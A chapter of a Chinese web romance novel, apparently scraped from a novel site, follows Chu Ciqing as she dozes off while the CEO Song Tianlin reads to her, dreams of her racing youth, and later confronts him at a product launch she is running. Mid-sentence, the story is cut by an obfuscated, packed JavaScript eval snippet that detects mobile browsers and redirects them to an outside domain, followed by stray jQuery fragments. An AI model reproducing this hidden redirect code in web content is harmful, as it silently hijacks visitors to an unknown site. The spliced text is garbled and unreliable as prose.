“……”
楚辞青瞪圆眼,几乎以为自己幻听了,额角狂跳,手心掐紧,好半晌才找回自己的声音:“呵呵、呵呵,粼,粼总,你…真幽默。”
宋天粼幽幽瞥她眼。
径直在另一张沙发椅坐下,翻了翻旁边的书架,抽出本书,冲她扬了扬:“阿姨喜欢听故事么?”
那是一本杂志。
封面微微泛黄,斜体加粗的标题耸动夺目——
痴情泪!顶级大学教授跪求,卑微厂妹为何踏上命运不归路?
泣血红妆!18年患难兄弟,却在婚礼上成我永生陌路人!
天塌地陷!富豪养母临终托付亿万家产,亲生女竟是夺命毒蝎!
楚辞青恍惚看见温小姐翻了个白眼:“什么稀巴玩意?编辑刚把脑子从粪坑里捞出来吧,黏黏糊糊的!”
她眼皮狠狠跳了两下,艰难咽口唾沫:“温小姐,她性格比较,直爽奔放,可能欣赏不来这种故事。”
“唔。”
宋天粼不置可否地应了一声,眼眸微垂,修长手指慢条斯理地翻着那本杂志,仿佛真在评估里头的故事是否符合温小姐喜好。
楚辞青觉得自个脑仁疼。
甚至不敢去看坐在轮椅上一派岁月静好的女人,总觉得她下一秒就能跳起来,叉着腰,一手揪她耳朵,咬牙切齿:“糟心娃子,自个搞不定你老板就来嚯嚯老娘,出息啊!”
对不住对不住。
她垂着头,死死咬紧牙关,在心里拼命给温小姐道歉——亲娘,我的亲娘,看在时薪三千的份上,您老再忍一忍!
却没注意到男人余光一直落在她脸上。
望着她那副如临大敌、恨不得原地去世的表情,眼底深处掠过一丝几不可查的促狭。
好久,似乎终于欣赏够了。
男人把泛黄的书册塞回架子,又抽出一本,“是不太合适,这本比较好。”
新闻周刊。
楚辞青刚舒了口气,余光就瞥到刊面上的单人照——《凌锋科技领跑AI护理赛道,专访创始人宋天粼》。
照片用的冷色调。
男人身着剪裁得体的深色西装,领带笔挺,扣子系到第一颗,扑面而来的清冷贵气。
他目光投向画面之外的某处,光线在深邃的眼窝处投下阴影,让那双眼睛显得更加锐利,如同锁定猎物的鹰隼,与眼前干净无害的模样判若两人。
“……”
总比知音好。
楚辞青苦中作乐地想。
绷紧的肩线塌下一瞬,又抬起,脸上挂着无懈可击的笑容,她试图用最饱满的热情配合梭子蟹临时发作的表演欲望。
但也不知道是记者写的专访太无聊,还是男人刻意压低的声线太催眠,她的眼皮越来越重,没一会就游走在梦境的边缘。
只模模糊糊听见:“……每一个身陷囹圄的患者身后都是一个家庭,是无数活生生的人,他们也有自己的梦想,该有自己的生活,需要被看见……”
是么,她迷迷糊糊地想,她也有自己的梦想么?
屋外阳光正好,透过球幕玻璃窗倾泻而下,将她整个人笼入光中,暖意融融。
男人沉稳的声线仿若安然的催眠曲,她就在这样算不上舒适的姿势里,意识逐渐变得模糊。
仿佛又回到十八岁的夏天。
她第一次以车手的身份踏上赛道,一步一步,朝晨光下格外灼目的宝蓝色蓝旗亚走去。
身旁跟着萧逸景,刚做完开颅手术的少年瘦了一大圈,下巴尖细,脸色还有几分苍白,但一双桃花眼却比漫天的星辰还要亮上几分。
两人在车前停住。
少年向前迈了两步,如白玉般修长的指节从引擎盖上划过,像在触摸自己最心爱的宝贝,上挑的眼尾隐有水光闪烁。
半晌,他转过身,冲她粲然一笑,把攥在手中的车钥匙塞到她手里,说:“青青,我,和我的梦想,现在,都交给你了。”
她接过那把钥匙,也顺势握住少年微凉的手掌,用了十分的力道,唇边扬笑,清丽的嗓音格外坚定:“以后,我们会拿遍所有的大奖,每个奖杯底座,都会刻上我们的名字。”
少年反握住她的手,长睫不住颤抖,好久才重重应下:“好。”
或许,她也是有过梦想的吧。
“……护理机器人的目标从来不是取代人,而是解放每一个被困住的人,允许他们去追求自己的梦想……”
宋天粼的声音一点点低下去,直至楚辞青沉沉睡去,终于停下,眸光轻移,少了几分克制。
女人陷在柔软的沙发里,胸口小幅度起伏着,领口松垮宽阔,小半截锁骨浸在暖光里,如同雕琢过的璞玉。
日光在她脸颊上投下柔和的光晕,长睫垂落,在白皙的皮肤上拓出一小片扇形的阴影,呼吸清浅绵长,眉宇间终于不再紧绷,只剩下沉静。
他无声吁了口气,仿佛悬了许久的心终于落回实处,清冷眉眼间染上一丝难以察觉的温柔。
暖房内只剩下恒温系统低低的嗡鸣,偶有纸张翻动的轻微声响。
姜姨和方怡躲在廊道里,目光时不时瞟过这边,低声呓语,眼里俱是笑意。
时间在静默中流淌。
直至楚辞青肩头微动,迷蒙地睁开眼。
窗外的光线刺眼,她下意识地想抬手遮挡,却发现右手发麻,半边身子都压在扶手上,身上盖着一条柔软的薄毯。
混沌的思绪缓缓回笼。
“呃……”她含糊地咕哝一声,试图活动僵硬的脖子,目光有些茫然地扫视。
然后,她看见了坐在斜对面沙发椅上的男人。
宋天粼微微侧着身子,垂着眼睫,长指搭在书册边缘,阳光勾勒出他轮廓分明的下颌线,神情极其专注。
一股奇异的窘迫瞬间冲上脑门,脸颊止不住发烫。
她居然真的睡着了!
在梭子蟹面前毫无顾忌地睡着了!
更关键的是,睡前最后意识还是梭子蟹在念书!
楚辞青近乎窒息。
就在这时,男人似乎感受到了她的视线,缓缓抬头。
四目相对。
男人墨色眼眸里飞快地闪过一抹不自然,随即被惯常的沉静取代,微微扬起唇角,那弧度极浅,却带着一丝难以言喻的柔和暖意。
“醒了?”他声音放得很轻,“感觉怎么样?”
楚辞青迅速坐直身体,感觉脸颊的热度有增无减。
她清清沙哑的喉咙,眼神飘忽,下意识地想整理一下睡乱的头发,手按到后脑勺才记起自己是寸头:“咳…嗯…好多了…谢谢…那个…温小姐呢?”
“阿姨回房休息了。”宋天粼合上杂志,随手放到一边,“你很累。”
“还,还好,可能是药效没过。”她含糊地解释,目光不自然地乱转,像极了奶贝心虚的样子。
宋天粼唇角弧度更深。
窗外大片的橘色无声昭示着时间的流逝,楚辞青掐了一下掌心,几乎不敢相信自己的眼睛,她怎么能睡这么久?!
“抱歉,耽误你时间了。”
她羞愧低头,错过男人眉眼间一闪而过的无奈,只听他道:“那么,陪我吃个晚饭?”
楚辞青找不出拒绝的理由,只能点头应下。起身,刚走两步又被男人拦下。
他靠了过来,距离不近不远。
楚辞青能闻到他身上淡淡的、混合了阳光气息的清冽木调香气,不是那种张扬的古龙水,更像是衣服上的清新剂。
她呼吸一窒,身体微微僵硬,察觉到男人指尖隔着薄薄的毛衣擦过她的肩膀,小心地把松垮的领口扯回原位,然后退开,只余一阵细微的、如同电流窜过的微麻感。
霎时,耳根不受控制地泛起红晕,她退开半步。
走吧。”
宋天粼仿佛没注意到她的小动作,神色如常,侧身示意她先行。目光若有似无地扫过她耳垂后方那片悄然升腾的热意,唇角几不可查地勾了一下。
“呃…好。”
楚辞青应着,几乎是同手同脚地向前走,脑海里如灌了浆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952099|173812||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
糊般,什么都想不明白。
她隐隐觉得男人的态度有些变化,但对上那张矜淡清隽的脸,又看不出什么异常,只能简单归结于自己陪聊有功,这饭碗端得更稳了。
晚餐是在疗养院的餐厅用的,菜色清淡,但味道出奇的好,像是特意准备过的。
睡了一下午的楚辞青食欲不错,对梭子蟹的投喂几乎照单全收,没一会就忍不住打了个饱嗝,引来男人含笑的眼神。
她有些不好意思,眨巴几下眼,主动请缨上阵:“明早我去接你。”
宋天粼没有答应:“等你忙完发布会的事,搬过来再说。”
见楚辞青微有不安,他放下手中的茶盏,眸光温润如玉,慢悠悠道:“不用急,我不会跑。”
……
几天后。
楚辞青站在发布会主控台上,望着突然出现在会场的男人,默默吐槽:不但不会跑,还会送上门吓人呢。
宋天粼是临时决定赶来的。
除了身后如影随形的秦郗,没人知道这位日理万机的集团大boss,为何忽然对一个游戏发布会来了兴趣。
周总倒是喜出望外,满面红光迎上去,握着宋天粼的手久久不放,甚至跃跃欲试想临时加个合影环节,誓要在万众瞩目下留下他与男神相亲相爱的铁证。
幸好被眼疾手快的秦郗拦下。他与周总低语几句后,迅速退回宋天粼身侧,脸上是一贯的波澜不惊。
楚辞青盯着监控里的画面,微微蹙眉。
这是她第一次负责这么大型的活动,几乎全部时间都扑在会场,流程细节过了一遍又一遍,说是烂熟于心都不为过。
但宋天粼的突然出现还是打了她一个措手不及,会场人仰马翻,所有流程都需要再次对接请示。
手机的消息提示音密集得像要爆炸。
她忙得晕头转向,眼神却不由自主地在置顶的聊天框上停顿一瞬。
对话还停留在在早晨,梭子蟹依旧活跃,如常向她道早安,嘱咐她记得吃早餐,预祝活动顺利,丝毫未曾透露亲临现场的意思。
屏幕里活泼热情粉色狐狸,与会场中神情矜贵清冷的男人,判若两人。
一股说不清的情绪悄然涌上心头,并非不快,却闷闷地堵在胸口。
恰巧这时周总找来,满头大汗地让她把后面的流程改一改,说是粼总要亲自上场体验游戏。
楚辞青立刻收敛心神,有条不紊地找人安排下去:改流程单,改报幕,协调嘉宾顺序……
一切安排妥当,她一抬眼,发现引发混乱的男人,竟不知何时悄然挪到了她的身旁。
他今日像是精心打理过,一身休闲款西服衬出身形,未系领带,额前碎发尽数向后抓拢,露出光洁的额头。
此刻安静地微垂着头站在她身边,周身那股商界精英的凌厉感褪去大半,竟透出一种初出茅庐般的干净青涩,像还没毕业的实习生。
楚辞青心脏不争气地漏跳一拍。
四处张望,确认无人注意这边,才果断伸手拽住他的袖口,几乎是把他拖进了不远处的消防通道。
他全无抵抗,也一声不吭,温顺得宛如一尊大型人偶,让楚辞青莫名联想到抱着奶贝回家时,小区里孩子喊的那句:“好大的狐狸,他真会走诶!”
厚重的安全门隔开喧嚣。
楚辞青松开手,背靠门板,双手在身后绞紧,压低嗓音问:“你怎么来了?”
宋天粼怔了一下,缓缓缩回手,浓密的睫毛垂得更低,遮住了眼底神色,只显出几分欲言又止的青涩为难。
楚辞青屏息,背在身后的手指收紧。
狭窄通道里,安静得只剩下两人交错的呼吸声,她的心跳也如走钢丝般忽快忽慢。
空气凝固了半晌。
他终于开口,声音闷闷的,带着点不易察觉的委屈,像壶没烧开的水在咕噜。
“我来找你。”
“嗯哼?”
“有人…要欺负我。”
“啊…啊?”
“你得保护我。”